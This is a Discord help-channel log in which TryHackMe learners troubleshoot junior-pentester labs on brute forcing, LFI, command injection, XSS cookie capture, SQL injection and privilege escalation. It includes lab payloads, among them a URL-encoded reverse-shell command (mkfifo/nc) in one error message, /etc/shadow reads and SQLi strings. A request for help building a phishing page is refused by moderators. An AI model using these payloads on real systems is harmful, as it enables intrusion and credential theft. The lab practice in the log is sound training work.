#junior-pentester-path

1 messages · Page 22 of 1

marble hamlet
#

gonna restart the machine i think

shadow echo
#

Post a screen of that new request pls. I doubt the issue is on the target machine.

marble hamlet
#

@shadow echo thanks for helping with that, the 2 extra lines i think were the issue

next lanceBOT
#

Gave +1 Rep to @shadow echo

stone skiff
#

Hey guys! I working the room https://tryhackme.com/room/authenticationbypass During task #3 we're asked to use the previously generated valid_usernames.txt file to bruteforce the login page. The thing is when i use ffuf to accomplish this it returns no valid combination. At first i thought i had typed something wrong, so i copied and pasted it the commands into my Kali VM shell. The results were the same, so i wondered if it could be the version of SecList i was using, so i booted the AttackBox on the website, did everything again and the result was the same. Someone else had this issue?

#

ffuf -w valid_usernames.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://MACHINE_IP/customers/login -fc 200

idle bison
#

The location of seclists will be different

stone skiff
shadow echo
next lanceBOT
#

Gave +1 Rep to @shadow echo

stone skiff
shy wasp
#

anyone can explain more about flag seem in lab mostly has finding the flag but in real what is advantage ? what is flag ?
i just start with tryhackme

#

it okay just make sure, cuz i'm not clear on that

#

thank for give an example

next lanceBOT
#

Gave +1 Rep to @steel nymph

stone skiff
#

Thanks for the further info on this!

next lanceBOT
#

Gave +1 Rep to @steel nymph

modest arch
#

Anyone was able to craft a ||POST request in Burp|| for solving Challenge 3 (flag3) in File Inclusion room ? I broke my head trying to solve that, I eventually did it via ||curl -X POST|| request but very keen to know what I was doing wrong in Burp.
What I did in Burp is ||I intercepted GET request when tried to include LFI path via the web, sent it to Repeater. Changed method to POST, removed ?file=<path> from url and appended file=<path> at the end of POST request just on a new line. When trying to POST it that way the page is loading without any errors/indications at all. I tried to strip all other variables from the header like User-Agent etc... leaving only POST line, Host: and file=<path> line but still the same. Identical thing is working fine when POSTing with curl 🤷 ||

#

That is exactly what I did if you read my hidden msg. Or you mean something else?

#

Yeah I let one empty line before the body, and 2 empty lines after the body (if that makes really difference not sure if tbh)

#

Inspector ? Let me check

#

Yeah file= is in body

shadow echo
# modest arch Yeah `file=` is in body

Remove the empty lines after the parameter in burp or whatever you use, otherwise this will cause to be appended to your parameter. Not sure if it would also matter with the null byte at the end, but without it, it does.

vital depot
#

Hey, I've got the flag for Command Injection Task 5, but I don't think I've understood it correctly.
I followed the aforementioned technique in Task 3 and ||combined commands 127.0.0.1 && cat ../../../home/tryhackme/flag.txt to get the flag, but I don't understand exactly why cat ../../../home/tryhackme/flag.txt|| wouldn't work by itself? Is it purely a case of filters?

modest arch
idle bison
vital depot
#

As far as I was aware that operator was just to combine commands

idle bison
#

There's a tiny bit more to it than that

modest arch
vital depot
#

Because it's intended purpose is to return ping results

modest arch
vital depot
#

Yea I got that once I'd answered why ha. Sorry, very sluggish today, thanks for the prompt 🙌

#

Thanks @modest arch

next lanceBOT
#

Gave +1 Rep to @wispy nimbus

vital depot
idle bison
#

Yep

#

cat /etc/shadow && pwd for example won't run pwd if cat /etc/shadow fails.

#

So because you're missing an argument to ping, it exits with an error code, and thus the second command doesn't run

vital depot
#

Thanks @idle bison

next lanceBOT
#

Gave +1 Rep to @idle bison

idle bison
#

In fact, I wonder if you tried ; cat whatever

modest arch
#

Authentication Bypass (Username enumeration)
You can manually create a valid_usernames.txt or add to the ffuf command the following:
-of csv -o templist.csv && sed '1d' templist.csv >> templist2.csv && cut -d"," -f 1 templist2.csv >> valid_usernames.txt && rm templist*.csv

vital depot
idle bison
#

Full paths are usually a good bet

azure flume
#

How can I connect my try hack me to my own linux and continue with mine

idle bison
azure flume
#

Why

idle bison
azure flume
#

Ohh Sorry about that...I wanted the fastest response that was y I had to send to different channels

trim snow
#

Hi guys, any ideas for this problem?

#

linux privesc task 11

#

shell has right permissions

#

code is fine

#

idk why it doesn't work

idle bison
#

At least if you're trying to become root

trim snow
#

How can I fix it?

#

No ideas :/

idle bison
trim snow
trim snow
next lanceBOT
#

Gave +1 Rep to @idle bison

trim snow
#

There was problem with owner of shell

calm swallow
#

I'm on the metasploit meterpreter room and my initial access keeps failing

#

-] 10.10.138.244:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.

#

do i need to set the SMBSHARE option?

shadow echo
calm swallow
#

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.10.138.244    yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               Pasword1         no        The password for the specified username
   SMBSHARE                               no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBUser               ballen           no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.13.26.238     yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
shadow echo
calm swallow
#

it is and 10-15 minutes or more

#

I've got 1:35 left

#

so... maybe 25 at this point

#

password is missing a character

shadow echo
calm swallow
#

got it. sorry. typing is hard lol

night kraken
#

Hello everyone! I am at the Cross-site Scripting Task 8 Practical Example (Blind XSS) I am able to catch my cookie session via NC listener, but I don't manage to get the staff-session cookie. Can anyone give a a nudge?

shadow echo
night kraken
shadow echo
night kraken
#

No request

#

I think I'm doing something wrong on the request catcher

shadow echo
# night kraken No request

Well if you verfied by manually opening the ticket that you get at least your own session cookie so that you know your payload is working, I think all you can do is restarting the target machine and try again.

night kraken
#

on the request catcher should I also mention the .log.tryhackme.tech at the pqyload?

shadow echo
shadow echo
night kraken
#

Can I dm anyone to check if the payload that I'm using is correct about the request catcher?

shadow echo
#

So that's the full url you have to put in the payload for your request catcher

shadow echo
ember oyster
#

Does anybody know how to only capture requests from one specified url in Burp Suite?

ember oyster
idle bison
#

Yeah, those are websockets?

grave aspen
#

Hiya, apologies is this is a repeated question. I have two flags for "Walking an Application" but they aren't being accepted by the form.

#

Has anyone has experienced this?

#

Every other flag is correct, it's just the two that aren't.

#

So I have the flag from the framework question at the end of the "Viewing Source" section and I have the flag for the last question but the fields keep saying incorrect.

#

|| THM{CHANGE_DEFAULT_CREDENTIALS} || and || THM{HEADER_FLAG} ||

late jungle
#

Yeah there's other flags in there from other challenges

#

I've found a few myself and went "huh?"

grave aspen
#

Ah right

#

Thanks team.

late jungle
#

That's me, I'm team now

snow hare
#

when it says I have three machines open, is there a place where I can turn them off?

#

I started my machine in task 1, and I am trying to access my attack box but it says i cant have more than 3 open? not sure how that is... sorry for my noob question

#

looking now

#

because when I have a task, I start the machine, and then I start my own attackbox, correct?

#

you can just use the ip address and go from there in your own vm?

#

THANK You so much by the way

#

youre right, i had the machine open in the first lesson

#

can I add people to then message later?

#

awesome man. im an cyber engineering major (just started) but know I have to actual try to break stuff on my free time

#

not something you just regurgitate from a textbook but this is overwhleming making sure you have things set up right

#

ok so this is normal right? no clue what I am looking at ha. I was about to pull my hair out

#

just to get a hang of everything? I have some linux and networkbasics

#

not an expert but just surface level stuff and I know my way around linux command lines

#

you know a worthwhile difference in the junior penterst and offensive pentesting?

#

isnt that the same thing basically

#

ohhhh so def do jr pentest before offensive

drifting drum
#

Jr pentester is essentially an intro into the world of pentesting specifically, where as offensive pentesting assumes you already know the basics and challenges you to learn more

dusk flame
#

need help on the ssrf task 2

short prairie
dusk flame
#

i know that i need to include the &x= but im not putting it into the right spot or i need to eliminate some things

#

this is what i have right now

short prairie
#

why &id=9?

dusk flame
#

i need to force the webserver to give me information on id 9

warm jewel
dusk flame
#

so i still request from the server but itll be a request to id 9 and then &x= to omit the rest/the part for id 2

#

i figured it out

#

once i looked at the server requesting i put in the part that i wanted after the server=

#

which was the url they gave us

#

just shortened

#

when that didnt work and i saw the server requesting i saw that the end wasnt letting the page go through

warm jewel
#

🎉

snow hare
#

does the junior pentest help and go through ctf?

turbid sun
#

it introduces you to some of the most common tools used by pentesters

#

i'd say it helps with playing CTFs to some extent

late jungle
#

Finally finished the path

#

Very satisfying

turbid sun
#

you might be (more) ready to attempt the eJPT now... lol

late jungle
#

Honestly I kinda messed up on that regard

#

I put a lot of my eggs into the "general security" cert basket and now I'm tapped out of funds for more until I can swing a job

#

Got my CISSP tho

#

Which I can't list on my resume

#

😄 woo

turbid sun
#

nice... that's not an easy cert- wait what

#

why can't you put it on your resume?

late jungle
#

I don't have the experience required to "get it"

#

You need to pass the cert AND have the experience

#

Otherwise they'll take away all your certs and ban ya for life if you put it on your resume

#

(or so they threaten)

turbid sun
#

ohhhh... yeah the 5 years of required experience is a pretty big gatekeeper

late jungle
#

Yeah in hindsight I don't know if that was a great investment

#

But oh well

turbid sun
#

iirc you have 6 years after getting the CISSP to earn the 5 years of required experience

late jungle
#

Yeah so I'm cool on that, and I already have 1 satisfied by my bachelors in cysec

turbid sun
#

assuming that one has no IT experience at all, they'd have at most 1 year for not getting any experience

late jungle
#

So I have 6 years to get 4 years very doable

turbid sun
#

better find an IT job if you wanna keep the cert 👀

late jungle
snow hare
#

are you not able to add a screenshot in this chat? I see it on personal message but I dont see it here. thanks!

turbid sun
#

i think you could add screenshots?

#

yeah i could

snow hare
#

where is that at? I dont see it

turbid sun
#

you could either copy the screenshot to your clipboard and press Ctrl+V to paste it in here

#

or you could click on the circle '+' button to the left of the chatbox and select the screenshot file to share here

#

i think you could also directly drag and drop the screenshot here if you've saved it as a file

late jungle
#

I think you need roles to do it here

#

I can't do it either

#

I have no role

turbid sun
#

ah so you might need to verify your account here before you could do that

#

!docs verify

tiny bluffBOT
snow hare
#

got it!!!

#

thanks

late jungle
#

As have I 😄

snow hare
#

would love the help if anyone could assist.

#

i was just able to download staff.txt (which i beliebe have a password in it) but I cant find it so far.

#

any ideas where this would be on my system

#

found it!

#

I was able to find the username!!! now we move onto the password

#

such a good feeling when you crack something....

late jungle
wary sluice
#

hello everybody. Is there someone who could assist with the LFI - I have one question on a task to proceed

bleak pilot
#

Ask away. I'll see if I can assist.

turbid sun
#

that one took me quite a while to figure out

obsidian cloud
#

Hey ... any advice for running the "fuff" command ... ran from attack box and says it's not found

turbid sun
#

ffuf, not fuff

obsidian cloud
#

thank you! 🙂

gleaming loom
empty forge
#

Can anyone tell how to execute .elf shell in target machine

#

I am doing msfvenom task in metasploit room 2

#

Is this suggestion for me?

#

I covered those rooms long time ago

#

I am getting segmentation fault

#

I never executed .elf file in linux so I thought maybe it will execute in different way

#

ok Let me check again

#

I accidentally used the default handler

#

you were right

empty forge
#

Thank you

empty forge
#

can anyone explain this error?

#

I need user ntlm hash but only getting the administrator one

shadow echo
shadow echo
twilit yoke
#

Nmap Live Host Discovery task 2 subnetworks. I dont get any responds when using the website, is it broken?

modest arch
twilit yoke
modest arch
twilit yoke
modest arch
twilit yoke
modest arch
twilit yoke
modest arch
twilit yoke
modest arch
#

anyone available who completed attacktive directory?

elfin lily
#

I am having issues with Challenge #1 on the File Inclusion module. I have tried changing the GET to a POST in BurpSuite and also changing the GET to POST in developer mode and I still cannot view the flag 1 file...Does anyone have some suggestions?

modest arch
#

No worries did it

paper garnet
#

Thanks for the help 👍 I was missing the / after port

next lanceBOT
#

Gave +1 Rep to @steel nymph

calm swallow
#

In the linux privesc room -- I'm on the box, but I can't find anywhere with write permissions. (task 5). Anyone able to offer a hint?

#

nvm, I'm supposed to be looking for a kernel exploit first, i think

#

thanks for the help

next lanceBOT
#

Gave +1 Rep to @steel nymph

steel yarrow
#

I need help on the jr pen test

#

i cant post images.

#

*** Generating Wordlist...
(!) FATAL: Error opening wordlist file: /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

#

thats what i get when i enter
user@machine$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://MACHINE_IP/FUZZ

#

Its in the

#

Task 12 of content discovery

#

called Automated Discovery

steel yarrow
#

None of them work

#

all give me an error to do with it not existing

steel yarrow
#

im using my own VM

#

but i tried it with attackbox

#

and i got the same error

#

/result

#

Wait

#

wait

#

.

modest arch
steel yarrow
#

im not positive let me check

modest arch
steel yarrow
#

okay so

#

it was

#

in /usr/share/seclists/Discovery/Web-Content/common.txt

#

for some reason

#

there we go

#

i had to confirm

#

@modest arch Thank you

next lanceBOT
#

Gave +1 Rep to @wispy nimbus

reef void
#

Well I downloaded an app called postman API examined get requests, changed some variables still nothing different I couldn't achieve in developer mode or Burpsuite. Still missing some key piece of info here.😩

drifting drum
#

you need to become the POSTman

reef void
#

thx, this was like playing battleships I was all around the target but couldn't sink the ship. What's interesting is I did external POST requests with such info and it got me nowhere but when I used the embedded form POST it was reading in the buffer so it spewed all characters and yet the same POST request got me nowhere. I did play around with the form POST much earlier but I guess maybe I ignored something because Burp at one point changed its output. Thanks solved.

cursive plume
#

So, I'm working my way through the Command Injection room and in Task 5 you're asked to attack a website. Easy enough.
Out of curiosity, I was wondering if it was also vulnerable to XSS. Which it is, for the standard <script>alert('Test');</script> payload.
I was wondering if there was a way to get the Command Injection to output inside of the XSS window? Ie:
;id;
into
<script>alert(String(;id;));</script> or something of that ilk.

warm jewel
rapid kite
#

but i'm getting a file not found 404

#

anyone has an idea whatsup

low cloud
rapid kite
rapid kite
#

getting a 404 for some reason .

#

Says file not found.

low cloud
rapid kite
#

Didn't set the http.server in the directory

#

Silly me. Thanks @low cloud !!

next lanceBOT
#

Gave +1 Rep to @low cloud

low cloud
modest arch
#

anyone completed splunk 2?

idle bison
#

@modest arch Please don't ask the same question over multiple channels
Please ask your question directly

modest arch
proven glen
#

Can anyone tell me what is the intended way of finding password of user2? In Linux PrivEsc > SUID Task

idle bison
proven glen
idle bison
#

Ok, have you tried to crack the hash for that user?

proven glen
#

i did using hashcat i got pass for gerryconway only.

proven glen
idle bison
#

Use rockyou?

idle bison
proven glen
idle bison
#

You know

proven glen
#

so i thought guessing wouldn''t be the intended way

idle bison
#

You can read any file

#

Right?

proven glen
#

yes

idle bison
#

Ok. The user doesn't have permission to read the flag.

#

Do you see what I'm getting at?

proven glen
#

i tried i think but i don't know the location of flag.

idle bison
#

Then how do you know you can't read it?

proven glen
#

oh i think i didn't try it after i was user2 so stupid ok l'm gonna try now. (this happens when you practice at 2 in the morning)

#

I got the flag👍 but i don't feel comfortable getting user2 password by guessing and not using john or hashcat

acoustic basin
proven glen
urban whale
#

can anyone tell me how much time it takes to see the request come through containing the victim's cookies in XSS LAB

#

its already been 3 mins. no request is been seen from other side

copper sentinel
#

you should've something by now

urban whale
#

yep

#

thanks

next lanceBOT
#

Gave +1 Rep to @steel nymph

urban whale
#

it worked

wet gulch
#

could i get a tip on sql injection on task 8, i know that || table_schema = 'sqli_four' table_name='analytics_referrers' and column_name='id, domain' || im trying to input || from analytics_referrers where id like 'a% || and ive tried basically every input on my keyboard but im not getting anything, i also am not getting any errors if i change the from statement up a bit i get errors but not when i run it like i wrote it

#

sorry i edited the text i pressed enter too early

#

why am i not getting errors lol

#

i got it thank you

chrome sand
#

Hi guys
Working on the Cross-site scripting practical example (blind xss)

Im using the TryHackMe request catcher however it does not seem to be fetching the cookies

#

Anyone else have any trouble with this?

frigid oasis
#

Can anyone in the Burp Intruder room help?
Task 8, please.

#

Can anyone?

#

Task 8 says the following: How many request will intruder make using these payload sets in Cluster Bomb attack?

fierce saddle
#

can anyone help on Walking An Application please. I was stuck on task 3. unable to access the URL. I have replace the URL with IP but same error 504 gateway time-out

copper sentinel
copper sentinel
copper sentinel
fierce saddle
next lanceBOT
#

Gave +1 Rep to @copper sentinel

little nexus
#

Can anyone help me Task 9 - Linux PrivEsc Room? I change crontab to revershell to attackbox. but seem crontab not running or what i wrong

#

Thank @steel nymph, i tried running the bash command as karen, and it can call back to attack box. let me tried another method

next lanceBOT
#

Gave +1 Rep to @steel nymph

little nexus
#

Yes, I'm restarting attackbox and target machine. Let me try with the bash script as karen

#

Thank you @steel nymph, i solved the problem.

next lanceBOT
#

Gave +1 Rep to @steel nymph

steel yarrow
#

Im having a problem with the ffuf command in subdomain enumeration room

#

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.120.61

golden frost
#

Hey guys, new here. I'm a complete beginner to cybersecurity, I'm trying HTB and THM as a hobby and I love it. I, however don't really understand how to get flags. For example root flag, or user flag, etc. I have kali installed in VM. Would love some help here.

frigid oasis
chrome sand
#

@copper sentinel

random marsh
#

Eyyy, can i ask about the JR Penetration tester > Introduction to web hacking > sql injection > Task 8 Blind SQLi - Time Based

random marsh
#

Ye i'm searching through old messages

chrome sand
#

I am able to get the session cookie now in the Cross-site scripting room however i have tried both base64 encoded and decoded values but it's the wrong answer

#

Can anyone advise on this?

modest arch
chrome sand
#

So for that am I targeting the website URL?

#

@modest arch

modest arch
modest arch
#

SQL Injection Task 8:
As a first enumeration step, this seems to be the right input, bus seems unreal:
||admin123' UNION SELECT SLEEP(5),2 where database() like '_________';--||
Is _ being treated as a placeholder?

hollow zephyr
#

Hi. I'm stuck in the Vulnerability Capstone challenge.
Here's what I did:
|| I used the exploit at /usr/share/exploits/vulnerabilitycapstone/exploit.py in the attackbox. I opened a netcat listener on the same machine on port 5555. I ran the python exploit, typed in "shell_me" and entereed my IP:PORT in the required format. ||

#

However, I'm getting a response like this:

|| HTTPConnectionPool(host='http', port=80): Max retries exceeded with url: //10.10.234.210/fuel/pages/select/?filter=%27%2Bpi(print(%24a%3D%27system%27))%2B%24a(%27rm%20/tmp/f%3Bmkfifo%20/tmp/f%3Bcat%20/tmp/f%7C/bin/sh%20-i%202%3E%261%7Cnc%2010.10.34.112%205555%20%3E/tmp/f%27)%2B%27 (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f1435399ba8>: Failed to establish a new connection: [Errno -3] Temporary failure in name resolution',)) ||

#

I restarted the attackbox, vulnerable VM both as mentioned by someone in the chat before.
Any idea what I can do to solve this issue?

shadow echo
shadow echo
tropic dust
#

Hello everyone. Anyone working on the Linux PrivEsc room in this path? Stuck in the SUID task and would like some guidance. I have obtained the hash of the user2, but I cannot use any online tool to crack it under SHA512 or MD5. Furthermore, cannot install John on the server. Also not able to create a new user in the /etc/passwd file.

wispy heron
#

Hi everyone im suck at time based blind sqli

shadow echo
wispy heron
#

when i input this command it doesnt give me anything referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--

#

can anyone help ?

#

but
referrer=admin123' UNION SELECT SLEEP(5),2; this command does work

shadow echo
wispy heron
#

ahhh i see

wispy heron
shadow echo
wispy heron
#

Understood.. Thankyou so much

wary sluice
#

hello folks, anyone there who can answer me a question on how to access the windows box? There is no login data provided in the privesc section

shadow echo
modest arch
shadow echo
wispy heron
#

are there extra steps that i need to do ?

modest arch
shadow echo
#

Why would that be the password? The password is stored inside a table in that database. So since yet you only got the database name, the next step will be to enumerate the table names within that database.

wispy heron
#

jesus sqli is complicated

next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
modest arch
next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
modest arch
#

@shadow echo Might interest you:
https://www.w3schools.com/sql/sql_wildcards.asp

wispy heron
#

Thanks god finally understood sqli

#

I have to re-read everythng

#

To understand more clearly Thanks @shadow echo

next lanceBOT
#

Gave +1 Rep to @shadow echo

shadow echo
# modest arch <@!401153154634219543> Might interest you: https://www.w3schools.com/sql/sql_wi...

Oh okay nice, ye then regarding to that I would assume it would work to figure out the amount of characters with the _ So as the database name has 9 characters, if you try using like '_________' (9x _) it should give you a positive response. In case you only use it 8x or 10x it should not give you a positive response, so therefore you figured out the name has 9 characters. But maybe it's not that reliable, as in case there is another database that also has 9 characters you would also get a positive response, but it was just an idea on what benefit you could have by using the underscore

modest arch
shadow echo
urban tartan
#

Hi, I'm working through file inclusion on the jr. pentest pathway and I'm stuck on the challenge 2 question. ||I believe I need to send a new "GET" request so I've tried changing the cookies from THM=Guest to THM=admin but its not working. Am i missing something?||

urban tartan
#

I'm getting frustrated lol. I feel like I have played around with it as much as possible but I still can't find the code

shadow echo
urban tartan
#

No.. Am I doing it properly? ||I'm using Network under dev tools, then clicking one of the files > edit & resend > and changing cookies: THM=Guest to cookies: THM=Admin||

steel bane
shadow echo
urban tartan
next lanceBOT
#

Gave +1 Rep to @shadow echo

proven glen
#

Why isn't "> part making any problems in my XSS payload.
here is the screenshot of my page source. It worked I just feel like it shouldn't have!

shadow echo
proven glen
#

One more doubt? why the following is happening both are collected form same page.

idle bison
idle bison
proven glen
#

Thanks its clear now.

naive urchin
#

I am doing Windows PrivEsc task 5 (using web interface) and need to change user to Jack but I cannot find option to do that. I tried:

  • logout (but then automatically I am login back in without asking to select user)
  • Alt+Ctr+Del (this did not work using osk)
  • Lock (this does not give option to login as different user)
  • tried to disable auto-login via user management (netplwiz) but am standard user so cannot do that
    Any hints would be most appreciated
#

One possible avenue is to run cmd as different user as this option is available from windows explorer 🙂 (seems I messed up changing Jacks password tho so need to revisit)

proven glen
#

Doubt in Task 8 of XSS both the following didn't send any information to my netcat server.
the underlined statement is what i entered in ticket content box.

#

The following was working

drifting drum
chrome sand
#

@modest arch nvm, I got verified and it took me to the link, thanks! I will check it out and see if what he said works for me

next lanceBOT
#

Gave +1 Rep to @wispy nimbus

tropic dust
modest arch
#

Burp Suite: Repeater
Task 7
Can someone explain please why ||-1|| causes a 500 error whereas *1 a 404 error?

tropic dust
#

yes it has, but the server doesn't have john and also doesn't let me install. Further, not able to add a root user in /etc/passwd...

shadow echo
modest arch
#

Thanks for that. I'll try to look deeper into this.

next lanceBOT
#

Gave +1 Rep to @steel nymph

tropic dust
low cloud
#

It was a long slog, but I learned so much! Thank you @tiny bluff

shadow echo
# tropic dust still stuck... <@!401153154634219543> <@!270909031298760705>

So in that task there is an example of how to use unshadow on the /etc/shadow and /etc/passwd files. All you have to do is copy the contents of the shadow file from the target machine and create a new file on your own machine and paste it in there. Then do the same for the passwd file and follow along with the steps in the task. So there is absolutely no need to install John on the target machine or whatsoever.

naive urchin
#

A little help please. I am stuck on Linux privesc room task 6 in which two methods are shown: 1) run apache2 with config inclusion and 2) use LD_PRELOAD with sudo enabled commands. However none of these seem to be available.

  1. apache2 does not seem to be installed
karen@ip-10-10-121-154:/tmp$ which apache2
karen@ip-10-10-121-154:/tmp$ find / -name apache2 2>/dev/null
karen@ip-10-10-121-154:/tmp$
  1. The sudo -l does not allow LD_PRELOAD
karen@ip-10-10-121-154:/tmp$ sudo -l
Matching Defaults entries for karen on ip-10-10-121-154:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User karen may run the following commands on ip-10-10-121-154:
    (ALL) NOPASSWD: /usr/bin/find
    (ALL) NOPASSWD: /usr/bin/less
    (ALL) NOPASSWD: /usr/bin/nano

and trying gives an error ```sudo: sorry, you are not allowed to set the following environment variables: LD_PRELOAD

It almost seems I am running wrong box...
shadow echo
naive urchin
#

Thanks @shadow echo, let me try (seems so obvious when you pointed that out!)

next lanceBOT
#

Gave +1 Rep to @shadow echo

tropic dust
next lanceBOT
#

Gave +1 Rep to @shadow echo

urban tartan
#

I'm doing challenge 2 in File Inclusion. I have completed the challenge and it says "This is a admin web page! Get the flag!" but I can't find it. Should it be on the page or do I need to traverse to another one?

sage current
#

have you checked the website source code????

urban tartan
#

I've checked the source code already and thanks @steel nymph I will

next lanceBOT
#

Gave +1 Rep to @steel nymph

finite summit
#

Finally finished it. So many broken rooms that I needed to figure out fixes for to move on. Burp Suite was a constant pain to keep working.

#

I keep getting sandbox errors and have to change a bunch of settings each time I open an Attack Room. Browsers won't open from inside it in attackbox.

idle bison
#

Cc @primal whale

primal whale
#

Thanks @idle bison hey @finite summit sorry to hear that. Do you know the rooms that you had these issues with using the AttackBox exactly? (a URL for the rooms would be super userful if you could)

next lanceBOT
#

Gave +1 Rep to @idle bison

primal whale
#

I’ll try to replicate it and investigate it as best I can

idle bison
#

Although it sounds like it's not related to the room?

primal whale
#

No it doesn’t sound related to the room

#

But if it’s happening in x/y/z I could recreate it quicker in theory

#

Rather than just trying random rooms until it occurs

finite summit
#

Jr pentesting burp suite

primal whale
#

All of the rooms in that module?

finite summit
# primal whale All of the rooms in that module?

When you open the AttackBox and start machine, once loaded. Burp Suite would give the error on sandboxing when you tried to use it. I did find a work around for that. Some of the other features like opening browser failed.

urban tartan
#

Damn.. I'm annoyed at how long I spent struggling to find the flag on chall2 in the File Inclusion task

#

It took me too long to realise what to change the cookie to

finite summit
shadow echo
drifting drum
finite summit
drifting drum
#

Yes but the goal is for you to learn. Challenges are a way if testing your understanding. They're designed to be hard but if you really understand what you're learning they aren't all that difficult to complete

finite summit
dry seal
#

Hello, In the "Introduction to Web Hacking-Walking an Application: the last question requires me to type the flag in the response header, I found it, copied it, and it tells me the answer is wrong. Is it possible that there is something wrong here? or am I looking in the wrong place

#

I dont want to spoil the answer for others just in case

#

alrighty then, thanks

finite summit
#

In learning mode right now. Not challenge mod to practice. Many tools to learn to use for work.

finite summit
#

I will go back through the list and tell you. Blind SQLi, Linux and WIndows PrivEsc could have been more clear in the notes. I have my B.EE. The text books ( for most classes were 4-5) explained the material to a certain level. Class instruction went over gotchas and what not to do. The labs brought together the material. The professors would give you real life work projects you would build for customers. You would have to design, price, cost analysis, MTBF, etc.

idle bison
finite summit
idle bison
finite summit
# idle bison You can add that to the feedback form too

Too many walkthrough pages with the answers on it help when I really get stuck for days. You don't need to know the answer only where to quickly find it and how to apply it. I have limited time to work on this material. I also have web sites on Arduino and Raspberry Pi builds that I do. Add in a wife, 3.5 year old and 6 year old that get priority over everything else.

idle bison
#

I'm not THM staff

#

Put it in the box and they'll read it.

hushed copper
#

Uh, what?

idle bison
#

Cc @primal whale

hushed copper
#

There's a whole explanation of what that is and why it happens in the room, at the first place you are told to open the browser. If you're trying to open it before that and having to debug it yourself, that's entirely your own fault

TL;DR (for CMNatic's benefit) -- that ain't an AttackBox problem. It'll happen whenever you run Burp as root on Linux.

finite summit
# hushed copper While we're at it:

I found that one a few weeks ago. I try to give THM about 30-60 minutes a day at most. I can usually get in some of it at work between chaos and endusers.

marble hamlet
#

could anyone possibly explain the highlighted part in a more simpler way... it's the authentication bypass module - logic flaw

#

^ not really getting it

fickle pumice
#

I'm having issues with the Task 3 of the Protocols and Servers section in network security. for some reason it's not allowing me to retrieve the flag from the server. I restarted the VM multiple times and made sure I was entering the correct commands, any suggestions?

shadow echo
fickle pumice
#

The task want you to retrieve the flag using telnet, when I try to connect it says "Connection closed by foreign host".

shadow echo
fickle pumice
#

GET /flag.thm HTTP/1.1 Then host: telnet

shadow echo
fickle pumice
#

Nope, I just recreated the scenario and made sure to not press enter more than once

shadow echo
fickle pumice
#

a real head slapper, thank you @shadow echo

next lanceBOT
#

Gave +1 Rep to @shadow echo

minor tree
#

Just finished this path!!! Feeling really accomplished. Which path should I do next?

proven glen
#

the payload is right??

proven glen
#

its working now, I'm getting data in nc but the cookie is same as I'm getting in cookie editor firefox extension and its not working as answer😢.

#

what can i do???

#

btw I'm not login as admin cause it didn't day anywhere to login as admin in XSS.

shadow echo
proven glen
shadow echo
proven glen
#

ok l will try that thanks for the explanation 👍🏻

next lanceBOT
#

Gave +1 Rep to @shadow echo

proven glen
#

Finally I have completed this path. I feel I have learned a lot. Also I got 22 days fo streakblobfingerguns . Thank You for this @tiny bluff

tawny wraith
#

Keep up the good work and you will be an elite hacker in no time

azure flume
#

When you phish a link for example an Instagram phishing link,is it possible for the phishing link to exactly like Instagram’s phishing page with logo and everything?

#

*to look

idle bison
#

Instagram doesn't have its own phishing page, because of the definition of phishing

azure flume
#

I mean how can you have a look like page as Instagram,is that possible?

idle bison
azure flume
#

Not browser 🤦🏻

#

Chill

idle bison
azure flume
idle bison
#

That's an email

azure flume
#

Just like this PlayStation email sent to me,I mean can I have the same copy of that to add to my phishing page

idle bison
#

HTML emails are common now

#

Are you trying to make a phishing page?

azure flume
#

Yes

idle bison
#

Stop.

shadow echo
#

lol

idle bison
#

We do not tolerate that here.

#

It's entirely blackhat.

azure flume
#

😅

idle bison
#

It's also unrelated to the junior pentesting path

azure flume
#

Just asked a question...Some people learn black hat just to be knowledgeable about it🤓

idle bison
azure flume
#

I wasn’t arguing just saying

idle bison
#

That was arguing. And you're now arguing about that.

azure flume
#

Ok

plush sun
azure flume
#

Yes I really want to😂and her friends

drifting drum
idle bison
tropic gazelle
#

Hi

steady hollow
#

Hi there, is anyone facing problem on authentication bypass room? Specifically on Task 3? That ffuf command isn't working. Any thoughts on that?

#

From searching, I saw an issue on GitHub that multiple word-list feature isn't working. If I had a problem with word-list, I think I would face a problem on task 2.

#

Let me check it again.

#

oh, I am checking it again. Thanks for the suggestion!

next lanceBOT
#

Gave +1 Rep to @steel nymph

steady hollow
#

You are right. It was my mistake. Umm, can you give me another suggestion? If I were to save a huge output without any junks, what should I do in that case?

#

Thanks a lot, lassi! Kinda funny 😑 , I am afraid of awk/sed command, guess need to learn it very well.

azure flume
#

I can see read,write,execute and what’s the meaning of the “d”...and how is “rwx “assigned to each file...I’m confused with the way it’s assigned to each file and directory...meaning you read and write some files while you can’t in some ?

#

im doing that and i dont understand the permissions

#

🦖

drifting drum
azure flume
#

Doesn’t correlate bruh

#

I now understand

#

